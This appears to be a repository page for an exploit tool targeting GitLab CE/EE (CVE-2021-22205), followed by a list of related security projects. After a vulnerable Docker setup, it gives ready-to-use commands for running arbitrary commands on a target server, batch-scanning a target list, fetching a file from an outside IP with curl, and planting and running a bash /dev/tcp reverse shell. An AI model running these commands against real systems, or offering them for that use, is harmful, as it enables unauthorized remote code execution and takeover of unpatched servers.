CVE-2021-22205& GitLab CE/EE RCE

Vuln Impact

An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.

Vuln Product

Gitlab CE/EE < 13.10.3
Gitlab CE/EE < 13.9.6
Gitlab CE/EE < 13.8.8

Environment

export GITLAB_HOME=/srv/gitlab

sudo docker run --detach \
  --hostname gitlab.example.com \
  --publish 443:443 --publish 80:80 \
  --name gitlab \
  --restart always \
  --volume $GITLAB_HOME/config:/etc/gitlab \
  --volume $GITLAB_HOME/logs:/var/log/gitlab \
  --volume $GITLAB_HOME/data:/var/opt/gitlab \
  gitlab/gitlab-ce:13.9.1-ce.0

Vunl Check

Basic usage

python3 CVE-2021-2205.py

Vuln check

python3 CVE-2021-2205.py -v true -t http://gitlab.example.com

command execute

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "curl http://192.168.59.1:1234/1.txt"

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'Attacked by Al1ex!!!' > /tmp/1.txt"

batch scan

python3 CVE-2021-2205.py -s true -f target.txt

Reserve Shell

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "chmod +x /tmp/1.sh"

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "/bin/bahs /tmp/1.sh"

Reference

https://github.com/mr-r3bot/Gitlab-CVE-2021-22205

https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html

CVE-2021-22205& GitLab CE/EE RCE

Related tags

Overview

Vuln Impact

Vuln Product

Environment

Vunl Check

Basic usage

Vuln check

command execute

batch scan

Reserve Shell

Reference

Owner

Al1ex

Lazarus analysis tools and research report

Infection Monkey - An automated pentest tool

This is the fuzzer I made to fuzz Preview on macOS and iOS like 8years back when I just started fuzzing things.

Salesforce Recon and Exploitation Toolkit

A Python Scanner for log4j

An IDA pro python script to decrypt Qbot malware string

Cracker - Tools CRACK FACEBOOK DAN INSTAGRAM DENGAN FITUR BANYAK

Pre-Auth Blind NoSQL Injection leading to Remote Code Execution in Rocket Chat 3.12.1

Official implementation of the paper "Backdoor Attacks on Self-Supervised Learning".

Acc-Data-Gen - Allows you to generate a password, e-mail & token for your Minecraft Account

POC for CVE-2022-1388

Update of uncaptcha2 from 2019

Cobalt Strike Beacon configuration extractor and parser.

The disassembler parses evm bytecode from the command line or from a file.

A python implementation of the windows 95 product key check.

About Hive Burp Suite Extension

Script hecho en python para sacar la informacion del numero de telefono, Hecha con el API de numverify

How to exploit a double free vulnerability in 2021. 'Use-After-Free for Dummies'

script that pulls cve collections from NVD.NIST.GOV.

Dome - Subdomain Enumeration Tool. Fast and reliable python script that makes active and/or passive scan to obtain subdomains and search for open ports.